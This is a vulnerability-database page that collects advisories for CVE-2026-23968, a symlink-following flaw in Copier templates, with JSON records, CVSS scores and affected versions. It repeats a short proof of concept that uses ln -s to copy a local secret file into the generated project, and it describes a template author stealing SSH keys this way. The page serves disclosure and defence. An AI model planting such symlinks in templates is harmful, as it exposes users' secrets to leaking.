Vulnerability-Lookup

PYSEC-2026-1274

Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:23

Details

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

Illegally include a file in the generated project via symlink resolution:

```shell echo "s3cr3t" > secret.txt

mkdir src/ pushd src/ ln -s ../secret.txt stolen-secret.txt popd

uvx copier copy src/ dst/

cat dst/stolen-secret.txt

s3cr3t

```
Illegally include a directory in the generated project via symlink resolution:

```shell mkdir secrets/ pushd secrets/ echo "s3cr3t" > secret.txt popd

mkdir src/ pushd src/ ln -s ../secrets stolen-secrets popd

uvx copier copy src/ dst/

tree dst/

dst/

└── stolen-secrets

└── secret.txt

1 directory, 1 file

cat dst/stolen-secrets/secret.txt

s3cr3t

```

Patches

n/a

Workarounds

n/a

References

n/a

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

6.8 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Impacted products

Name	purl
copier	pkg:pypi/copier

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "copier",
        "purl": "pkg:pypi/copier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0.0",
        "2.0.1",
        "2.1.0",
        "2.2.1",
        "2.2.2",
        "2.2.3",
        "2.3",
        "2.3.1",
        "2.3.2",
        "2.3.3",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.5.0",
        "2.5.1",
        "3.0.0a3",
        "3.0.0a5",
        "3.0.0a6",
        "3.0.0a7",
        "3.0.0a8",
        "3.0.0b1",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.0.6",
        "3.1.0",
        "3.2.0",
        "4.0.0",
        "4.0.1",
        "4.0.2",
        "4.1.0",
        "5.0.0",
        "5.1.0",
        "6.0.0",
        "6.0.0a0",
        "6.0.0a2",
        "6.0.0a3",
        "6.0.0a4",
        "6.0.0a5",
        "6.0.0a6",
        "6.0.0a7",
        "6.0.0a9",
        "6.0.0b0",
        "6.1.0",
        "6.2.0",
        "7.0.1",
        "7.1.0",
        "7.1.0a0",
        "7.2.0",
        "8.0.0",
        "8.1.0",
        "8.2.0",
        "8.3.0",
        "9.0.1",
        "9.1.0",
        "9.1.1",
        "9.10.0",
        "9.10.1",
        "9.10.2",
        "9.10.3",
        "9.11.0",
        "9.11.1",
        "9.2.0",
        "9.3.0",
        "9.3.1",
        "9.4.0",
        "9.4.1",
        "9.5.0",
        "9.6.0",
        "9.7.0",
        "9.7.1",
        "9.8.0",
        "9.9.0",
        "9.9.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23968",
    "GHSA-xjhm-gp88-8pfx"
  ],
  "details": "### Impact\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with [`_preserve_symlinks: false`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) (which is Copier\u0027s default setting). \n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like [github.com](https://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Illegally include a file in the generated project via symlink resolution:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n\n    mkdir src/\n    pushd src/\n    ln -s ../secret.txt stolen-secret.txt\n    popd\n\n    uvx copier copy src/ dst/\n\n    cat dst/stolen-secret.txt\n    #s3cr3t\n    ```\n\n- Illegally include a directory in the generated project via symlink resolution:\n\n    ```shell\n    mkdir secrets/\n    pushd secrets/\n    echo \"s3cr3t\" \u003e secret.txt\n    popd\n\n    mkdir src/\n    pushd src/\n    ln -s ../secrets stolen-secrets\n    popd\n\n    uvx copier copy src/ dst/\n\n    tree dst/\n    # dst/\n    # \u2514\u2500\u2500 stolen-secrets\n    #     \u2514\u2500\u2500 secret.txt\n    #\n    # 1 directory, 1 file\n    cat dst/stolen-secrets/secret.txt\n    # s3cr3t\n    ```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a",
  "id": "PYSEC-2026-1274",
  "modified": "2026-07-07T17:23:57.556250Z",
  "published": "2026-07-07T16:03:19.591967Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/security/advisories/GHSA-xjhm-gp88-8pfx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23968"
    },
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/copier-org/copier"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/copier"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-xjhm-gp88-8pfx"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false"
}

CVE-2026-23968 (GCVE-0-2026-23968)

Vulnerability from cvelistv5 – Published: 2026-01-21 22:13 – Updated: 2026-01-22 16:49

Title

Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false

Summary

Copier is a library and CLI app for rendering project templates. Prior to version 9.11.2, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with `_preserve_symlinks: false` (which is Copier's default setting). Version 9.11.2 patches the issue.

Severity

6.8 (Medium)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-61 - UNIX Symbolic Link (Symlink) Following

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/copier-org/copier/security/adv…	x_refsource_CONFIRM
https://github.com/copier-org/copier/commit/b3a7b…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
copier-org	copier	Affected: < 9.11.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-23968",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-22T15:09:28.359725Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-22T16:49:32.054Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "copier",
          "vendor": "copier-org",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 9.11.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Copier is a library and CLI app for rendering project templates. Prior to version 9.11.2, Copier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with `_preserve_symlinks: false` (which is Copier\u0027s default setting). Version 9.11.2 patches the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "LOCAL",
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-61",
              "description": "CWE-61: UNIX Symbolic Link (Symlink) Following",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-21T22:13:25.377Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/copier-org/copier/security/advisories/GHSA-xjhm-gp88-8pfx",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/copier-org/copier/security/advisories/GHSA-xjhm-gp88-8pfx"
        },
        {
          "name": "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"
        }
      ],
      "source": {
        "advisory": "GHSA-xjhm-gp88-8pfx",
        "discovery": "UNKNOWN"
      },
      "title": "Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-23968",
    "datePublished": "2026-01-21T22:13:25.377Z",
    "dateReserved": "2026-01-19T14:49:06.314Z",
    "dateUpdated": "2026-01-22T16:49:32.054Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-XJHM-GP88-8PFX

Vulnerability from github – Published: 2026-01-21 22:08 – Updated: 2026-02-02 16:33

Summary

Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false

Details

Impact

Reproducible example:

Illegally include a file in the generated project via symlink resolution:

```shell echo "s3cr3t" > secret.txt

mkdir src/ pushd src/ ln -s ../secret.txt stolen-secret.txt popd

uvx copier copy src/ dst/

cat dst/stolen-secret.txt

s3cr3t

```
Illegally include a directory in the generated project via symlink resolution:

```shell mkdir secrets/ pushd secrets/ echo "s3cr3t" > secret.txt popd

mkdir src/ pushd src/ ln -s ../secrets stolen-secrets popd

uvx copier copy src/ dst/

tree dst/

dst/

└── stolen-secrets

└── secret.txt

1 directory, 1 file

cat dst/stolen-secrets/secret.txt

s3cr3t

```

Patches

n/a

Workarounds

n/a

References

n/a

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

6.8 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "copier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T22:08:48Z",
    "nvd_published_at": "2026-01-21T23:15:52Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with [`_preserve_symlinks: false`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) (which is Copier\u0027s default setting). \n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like [github.com](https://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Illegally include a file in the generated project via symlink resolution:\n\n    ```shell\n    echo \"s3cr3t\" \u003e secret.txt\n\n    mkdir src/\n    pushd src/\n    ln -s ../secret.txt stolen-secret.txt\n    popd\n\n    uvx copier copy src/ dst/\n\n    cat dst/stolen-secret.txt\n    #s3cr3t\n    ```\n\n- Illegally include a directory in the generated project via symlink resolution:\n\n    ```shell\n    mkdir secrets/\n    pushd secrets/\n    echo \"s3cr3t\" \u003e secret.txt\n    popd\n\n    mkdir src/\n    pushd src/\n    ln -s ../secrets stolen-secrets\n    popd\n\n    uvx copier copy src/ dst/\n\n    tree dst/\n    # dst/\n    # \u2514\u2500\u2500 stolen-secrets\n    #     \u2514\u2500\u2500 secret.txt\n    #\n    # 1 directory, 1 file\n    cat dst/stolen-secrets/secret.txt\n    # s3cr3t\n    ```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a",
  "id": "GHSA-xjhm-gp88-8pfx",
  "modified": "2026-02-02T16:33:40Z",
  "published": "2026-01-21T22:08:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/security/advisories/GHSA-xjhm-gp88-8pfx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23968"
    },
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/copier-org/copier"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

PYSEC-2026-1274

Impact

s3cr3t

dst/

└── stolen-secrets

└── secret.txt

1 directory, 1 file

s3cr3t

Patches

Workarounds

References

CVE-2026-23968 (GCVE-0-2026-23968)

GHSA-XJHM-GP88-8PFX

Impact

s3cr3t

dst/

└── stolen-secrets

└── secret.txt

1 directory, 1 file

s3cr3t

Patches

Workarounds

References

Tags

Sightings

Nomenclature